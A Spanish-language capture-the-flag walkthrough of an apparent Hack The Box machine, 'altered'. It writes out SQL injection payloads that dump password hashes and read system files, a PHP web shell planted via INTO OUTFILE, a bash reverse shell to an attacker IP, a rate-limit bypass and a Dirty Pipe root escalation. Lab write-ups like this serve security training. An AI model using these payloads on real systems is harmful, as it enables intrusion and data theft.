altered

Reconocimiento Inicial

Como siempre para comprobar que tenemos conexión entre nuestra maquina de atacante y el host victima enviamos una traza ICMP. Comprobamos de que el host se encuentra activo: icmp

A continuación realizamos un scan con nmap para visualizar los puertos que se encuentren abiertos en el host: nmap1

Tenemos el puerto 22, 80 abierto. Realizamos otro scan con nmap para detectar la versión de los servicios: nmap2

Reconocimiento Web

El scan anterior revelo que el puerto 80 esta habilitado utilizando un servidor nginx. Podemos ingresar a este desde el navegador web: login1

Vemos que tenemos un panel de Login. Intentamos realizar las típicas comprobaciones de usuarios y contraseñas por defecto como test;test: login2

Esto nos entrega el mensaje de Invalid Username, lo que puede ser un mensaje genérico que nos permita enumerar usuarios. Ahora probamos con admin;admin: login3

En este caso vemos que el mensaje es Invalid Password. Además vemos un botón de Forgot Password? que al presionar observamos que se nos solicita un usuario. Utilizaremos el de admin en este caso ya que sabemos que es un usuario que existe: fp

Al presionar en submit se nos redirige a http://10.10.11.159/reset en donde se nos muestra el mensaje de “Enter the pincode emailed to you”. Lo que nos indica que se nos ha enviado un código PIN al email: pin

Al probar con el código 1234 el cual resulta ser invalido se nos muestra el mensaje “Invalid Pincode. Be sure to use the same browser you requested from.”. Si observamos la petición submit proxeada con BurpSuite podemos identificar que esta petición arrastra 2 cookies laravel_session y XSRF-TOKEN: prox1

PIN Brute Force

Observamos que se realiza una petición con el método POST en /api/resettoken. Utilizamos Intruder para recorrer el pin desde el 0000 al 9999 para poder obtenerlo mediante fuerza bruta: 429brute

Pero vemos que luego de algunas peticiones el código de estado es 429. Lo que significa que hemos realizado demasiadas peticiones.

Rate Limit Bypass

Existen diversas formas de realizar un bypass cuando el servidor bloquea nuestras peticiones, pero mi favorita es utilizar la cabecera X-Forwarded-For para hacer pasar la petición original por otra IP. Lo ideal es tener un diccionario de IPs para poder irlas rotando en la cabecera X-Forwarded-For. Podemos crear un diccionario de IPs con el siguiente script en python:

for i in range(51):
    for j in range(251):
        print(f"10.10.{i}.{j}")

ipgen

En el diccionario ya contamos con más de 12000 ips distintas para realizar el ataque. Utilizaremos Intruder de BurSuite para realizar un ataque de tipo Pitchfork sobre /api/resettoken en la cual agregaremos la cabecera X-Forwarded-For con un valor aleatorio que recorreremos con el diccionario creado y además recorreremos nuevamente la lista de posibles PIN: pitchfork

Configuramos el payload 1 seleccionado el tipo en Simple list y cargamos el diccionario en Load: pay1

El Payload 2 lo configuramos igual al primer ataque realizado con Intruder: pay2

Iniciamos el ataque y observamos que ahora todas las peticiones son código de estado 200 200brute

Al finalizar el ataque podemos identificar que tenemos una petición con una longitud inferior a la del resto el cual corresponde al PIN 9933: pinbrute

Si seguimos esta petición en el navegador podemos observar que ahora somos capaces de cambiar la contraseña. Para este caso la contraseña sera “h4rri”: changepass

Y al dar a Submit observamos que hemos cambiado la contraseña ya que se refleja el mensaje “Password Changed” passchanged

Login as Admin

Ahora si utilizamos las credenciales para iniciar sesión podremos ver que lo hacemos como el usuario admin: login

Al presionar en view en cualquier Profile se nos muestra un mensaje correspondiente al perfil del usuario: profile_view

Al observar las peticiones de esta interración en Burp nos fijamos que se revela el campo id y secret que se están obteniendo mediante GET: getparams

Enviaremos esta petición al Repeater para modificar ambos campos, Al hacer esto observamos que se nos muestra el mensaje de “Tampered user input detected”:
tampered1

Al modificar cualquiera de los dos campos se presenta el mensaje de error de la captura anterior. Lo que me indica que algo esta detectando que los campos se están modificando. Podemos probar cambiando el método de GET a POST: methodchanged

Al realizar esto observamos un mensaje de error en formato json con esto en mente adaptamos el formato a json y cambiamos también el contenido de la cabecera Content-Type: ctype

Vemos que el mensaje de error sigue siendo el mismo, probaremos cambiando al método GET nuevamente: getagain

Y como se ve ahora si se visualizar el contenido original de la respuesta. Además hay que tener en cuenta que los datos se están enviando en formato json. Si volvemos a modificar los datos con el formato entregado veremos lo siguiente: tampered2

Por lo que debemos realizar una evasión sobre estas validaciones.

Type Juggling

Si pensamos en como esta construido el código del servidor debemos saber que lenguaje esta utilizando. Para esto generalmente utilizo Wappalyzer o whatweb para CLI:
wapa

Y vemos que la aplicación utiliza como lenguaje de programación PHP. Realizando pruebas sobre los parámetros agregando datos debemos determinar si esa comparación se hace con == y no ===, el Type Juggling evitaría la comprobación. Probamos cambiar secret a true:
tj1

Acabamos de abusar de esta característica al manipular los datos de entrada de una aplicación PHP para realizar comparaciones que resulten en valores inesperados o falsos positivos, lo que puede conducir a vulnerabilidades de seguridad como la inyección de SQL o la omisión de autenticación. Incluso se acepta como cadena. Lo que refuerza la probabilidad de SQL Injection:
sqlidetect

SQL Injection

Modificaremos el valor del parámetro id para ingresando una comilla simple para detectar si se produce algún error de sintaxis de SQL:
sqli_detected

Como vemos se produce un error y el servidor responde con un código de estado 500. Realizamos un ordenamiento por columnas para determinar la cantidad de estas en la tabla:
orderby4

Como se aprecia al ordenar por 4 el error persiste. Caso contrario si ordenamos por 3 volveremos a visualizar el texto del perfil en cuestión: ordby3

Desde este punto podemos probar realizando una inyección SQL basada en UNION: sqlunion

La sintaxis funciona pero no vemos reflejado ninguno de los 3 valores. Observamos que si cambiamos el valor 8 del id por una cadena envuelta en comillas simples vemos reflejado el valor 3:

"'H4RR1' UNION SELECT 1,2,3-- -"

sqlsintax

Enumeración de la BD

Vemos que la base de datos en uso es uhc:
bd

Ahora enumeraremos las tablas de esta base de datos:

UNION SELECT 1,2,GROUP_CONCAT(table_names) FROM information_schema.tables WHERE table_schema='uhc'

bdenum

Y vemos la tabla de interés users. Por lo que procedemos a enumerarla:

UNION SELECT 1,2,GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'users'

userstb Desde este punto creamos una query para extraer el contenido de las columnas name y password:

UNION SELECT 1,2,GROUP_CONCAT(name,':',password,'\n') FROM uhc.users-- -

passdb

big0us:$2y$10$L3X8m6P1w.F2aO011ffWr.587vGCYeFXuXwE2vr3DbrYkcuF741N2
,celesian:$2y$10$8ewqN3lE9iazbo8sFiwUleeNIbOpAMRcaMzeiXJ50wlItN2Kd5pI6
,luska:$2y$10$KdZCbzxXRsBOBHI.91XIz.O.lQQ3TqeY8uonzAumoAv6v9JVQv3g.
,tinyb0y:$2y$10$X501zxcWLKXf.OteOaPILuhMBIalFjid5bBjBkrst/cynKL/DLfiS
,o-tafe:$2y$10$XIrsc.ma/p0qhvWm9.sqyOnA5184ICWNverXQVLQJD30nCw7.PyxW
,watchdog:$2y$10$RTbD7i5I53rofpAfr83YcOK2XsTglO01jVHZajEOSH1tGXiU8nzEq
,mydonut:$2y$10$7DFlqs/eXGm0JPVebpPheuEx3gXPhTnRmN1Ia5wutECZg1El7cVJK
,bee:$2y$10$Furn1Q0Oy8IbeCslv7.Oy.psgPoCH2ds3FZfJeQlCdxJ0WVhLKmzm
,admin:$2y$10$37Q1SanFMybo1MXUncgI1uYt5G1KdqaHMWlBjcY7i63aGcluXNrfu

Vemos que las contraseñas estan hasheadas. No probaremos crackearlas e intentar ingresar por SSH.

Leyendo ficheros internos

Podemos enumerar ficheros internos con la vulnerabilidad de SQLi mediante el comando LOAD_FILE

UNION SELECT 1,2,LOAD_FILE('/etc/passwd')-- -

pswd

Podemos probar enumerar la clave privada de SSH del usuario:
rsafail

Web Shell via SQLi

Podemos probar una técnica para subir una web shell desde la consulta SQL. Primero debemos saber en que ruta reside el servidor, sabemos que el servidor es un nginx. Entonces podemos probar con rutas de servidores nginx como /etc/nginx/sites-enabled/default:
nginx

Observamos que se revela la ruta /srv/altered/public. Quiero pensar que tengo permiso de escritura por lo que subire una webshell de la siguiente forma:

UNION SELECT 1,2,<?php system($_REQUEST[\"cmd\"]); ?> into outfile '/srv/altered/public/wse.php'-- -

wshell

Al ingresar en la url el nombre asignado a la webshell “wse.php” observamos que se reflejan los valores 1, 2 y el valor donde debería ir 3 se ve vacío:
wse

Pasamos el parámetro cmd por la url y podremos ejecutar comandos: wse2

Reverse shell as www-data

Ya que podemos ejecutar comandos utilizare una reverse shell simple en bash:

bash -c "bash -i >& /dev/tcp/10.10.14.24/443 0>&1"
Posteriormente la URL-Encodeamos:
%62%61%73%68%20%2d%63%20%22%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%31%30%2e%31%34%2e%32%34%2f%34%34%33%20%30%3e%26%31%22

Al enviar el comando en el navegador y al estar a la escucha con netcat vemos que recibimos la shell:
revwww

Tratamiento TTY

Para avanzar cómodamente realizaremos el tratamiento de la tty para obtener una consola interactiva. Escribimos la siguiente secuencia de comandos para poder obtener una consola interactiva o fully tty:

script /dev/null -c bash
Ctrl+Z
stty raw -echo;fg
reset xterm
export TERM=xterm
export SHELL=bash

tty

Escalando privilegios

Para escalar privilegios en un host linux podemos utilizar herramientas como LinPeas para automatizar esta parte. Generalmente comienzo por enumerar el kernel del sistema:
kernel

Vemos que la versión de kernel es la 5.16.0.-051600-generic. Si buscamos exploits relacionados a este encontraremos el CVE-2022-0847 el cual corresponde a una escalada local de privilegios (Dirty Pipe).

Buscando un exploit podemos dar con el siguiente, que requiere de un SUID para funcionar: Exploit

Ahora debemos buscar permisos SUID en binarios del sistema:

find / -perm -4000 2>/dev/null

suid Podemos ver que esta el binario de pkexec. Con el cual podemos intentar aprovecharnos para escalar privilegios. Descargamos el exploit en nuestra maquina de atacante y lo compilamos con gcc -o exploit-2 exploit-2.c:
gcc

Ahora montamos un servidor con python para poder descargarlo en el host victima:
sv expdown Ahora le damos permisos de ejecución al binario y lo ejecutamos llamando el SUID /usr/bin/pkexec::
exploited Con esto conseguimos ser usuario root y leer la flag:
pwn

Pwned! 🏴‍☠️